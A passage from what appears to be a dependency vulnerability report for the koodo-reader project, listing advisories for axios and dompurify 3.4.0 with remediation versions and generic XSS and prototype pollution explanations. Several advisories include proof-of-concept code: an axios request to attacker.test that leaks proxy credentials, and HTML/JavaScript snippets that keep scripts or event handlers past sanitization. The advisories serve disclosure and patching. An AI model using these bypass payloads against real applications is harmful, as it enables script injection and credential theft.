Note:
This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
new
- Vulnerable module: dompurify
- Introduced through: dompurify@3.4.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › dompurify@3.4.0Remediation: Upgrade to dompurify@3.4.8.
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE process when attacker-controlled live DOM nodes are sanitized. An attacker can execute arbitrary scripts in the context of the application by passing a manipulated DOM node with a spoofed nodeName property, causing malicious script elements to be retained and executed upon insertion into the document.
PoC
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const foreign = window.open('about:blank', '_blank', 'noopener=no');
const host = foreign.document.createElement('div');
const script = foreign.document.createElement('script');
script.textContent = 'window.__pwned = 1';
Object.defineProperty(script, 'nodeName', {
value: 'DIV',
configurable: true,
});
host.appendChild(script);
DOMPurify.sanitize(host, { IN_PLACE: true });
console.log('output:', host.outerHTML);
// <div><script>window.__pwned = 1</script></div>
window.__pwned = 0;
document.body.appendChild(host);
console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.8 or higher.
References
medium severity
new
- Vulnerable module: dompurify
- Introduced through: dompurify@3.4.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › dompurify@3.4.0Remediation: Upgrade to dompurify@3.4.7.
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE function when handling a <template> element containing an element with an attached shadow DOM. An attacker can execute arbitrary scripts in the context of the user by injecting malicious content into the shadow DOM, which is not sanitized and is later executed when the template is cloned and inserted into the page.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.7 or higher.
References
medium severity
new
- Vulnerable module: dompurify
- Introduced through: dompurify@3.4.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › dompurify@3.4.0Remediation: Upgrade to dompurify@3.4.8.
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the SAFE_FOR_TEMPLATES function. An attacker can inject template expressions that survive sanitization inside <template> element content by splitting malicious expressions across adjacent text nodes, which are not properly scrubbed. This allows execution of arbitrary code or exfiltration of sensitive data if a downstream template engine evaluates the merged content.
This is only exploitable if both SAFE_FOR_TEMPLATES: true and either RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true are explicitly set, and the application processes <template>.content with a template engine.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade dompurify to version 3.4.8 or higher.
References
medium severity
new
- Vulnerable module: dompurify
- Introduced through: dompurify@3.4.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › dompurify@3.4.0Remediation: Upgrade to dompurify@3.4.6.
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Prototype Pollution in the IN_PLACE function when sanitizing a root element that is a <form> with event handler attributes and a descendant element whose name attribute matches certain property names checked by _isClobbered. An attacker can cause malicious attributes, such as event handlers or JavaScript URIs, to persist on the root element by crafting a DOM structure where the root is clobbered and then passing it to the sanitizer in IN_PLACE mode. This allows the attacker to execute arbitrary JavaScript or bypass attribute-level defenses when the sanitized node is reinserted into the live document.
Note:
This is only exploitable if the sanitizer is used in IN_PLACE mode on a detached root element that is an HTMLFormElement with a clobber-named child.
PoC
<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
const root = document.createElement('form');
root.setAttribute('onmouseover', 'window.__rooted = 1');
const clobber = document.createElement('input');
clobber.setAttribute('name', 'nodeName');
root.appendChild(clobber);
// typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
// _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log('output:', root.outerHTML);
// <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
// ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^
document.body.appendChild(root);
root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
console.log('handler fired:', window.__rooted === 1); // true
</script>
</body></html>
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade dompurify to version 3.4.6 or higher.
References
medium severity
new
- Vulnerable module: dompurify
- Introduced through: dompurify@3.4.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › dompurify@3.4.0Remediation: Upgrade to dompurify@3.4.7.
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Trust Boundary Violation through the mutation of data.allowedTags or data.allowedAttributes in hooks, which directly alters the global default sets used for sanitization. An attacker can cause persistent changes to the default allow-lists, enabling malicious tags or attributes to bypass sanitization in subsequent calls by injecting payloads that exploit the polluted configuration.
Note:
This is only exploitable if a hook is registered that mutates data.allowedTags or data.allowedAttributes, and later sanitization occurs without explicitly setting restrictive configuration arrays.
PoC
// 1) fresh DOMPurify, default config — script is blocked
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"
// 2) install a hook that mutates data.allowedTags (natural-looking pattern)
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
data.allowedTags['script'] = true;
});
// 3) one sanitize call WITH the hook — script survives (expected during the hook)
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"
// 4) remove the hook
DOMPurify.removeAllHooks();
DOMPurify.clearConfig();
// 5) sanitize attacker content with default config — POLLUTION PERSISTS
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>" ← script survived without any hook
// 6) the only recovery: create a fresh DOMPurify instance
const fresh = DOMPurify(window);
fresh.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>" ← clean
Remediation
Upgrade dompurify to version 3.4.7 or higher.
References
medium severity
new
- Vulnerable module: dompurify
- Introduced through: dompurify@3.4.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › dompurify@3.4.0Remediation: Upgrade to dompurify@3.4.6.
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Trust Boundary Violation in the sanitize function when handling DOM nodes from a different same-origin realm due to improper realm-bound instanceof checks. An attacker can inject and execute malicious markup by providing specially crafted DOM nodes from a foreign realm, which bypass internal security checks and allow executable content to persist in form attributes, template content, and attached shadow roots.
Remediation
Upgrade dompurify to version 3.4.6 or higher.
References
low severity
new
- Vulnerable module: dompurify
- Introduced through: dompurify@3.4.0
Detailed paths
-
Introduced through: koodo-reader@troyeguo/koodo-reader › dompurify@3.4.0Remediation: Upgrade to dompurify@3.4.9.
Overview
dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.
Affected versions of this package are vulnerable to Protection Mechanism Failure through the clearConfig function. An attacker can execute arbitrary scripts in a Trusted Types sink by influencing a previously supplied TRUSTED_TYPES_POLICY on a reused instance and later triggering output with RETURN_TRUSTED_TYPE: true.
Note:
This is only exploitable if a DOMPurify instance is reused across trust boundaries and a less-trusted integration or attacker has previously set an unsafe Trusted Types policy.
Remediation
Upgrade dompurify to version 3.4.9 or higher.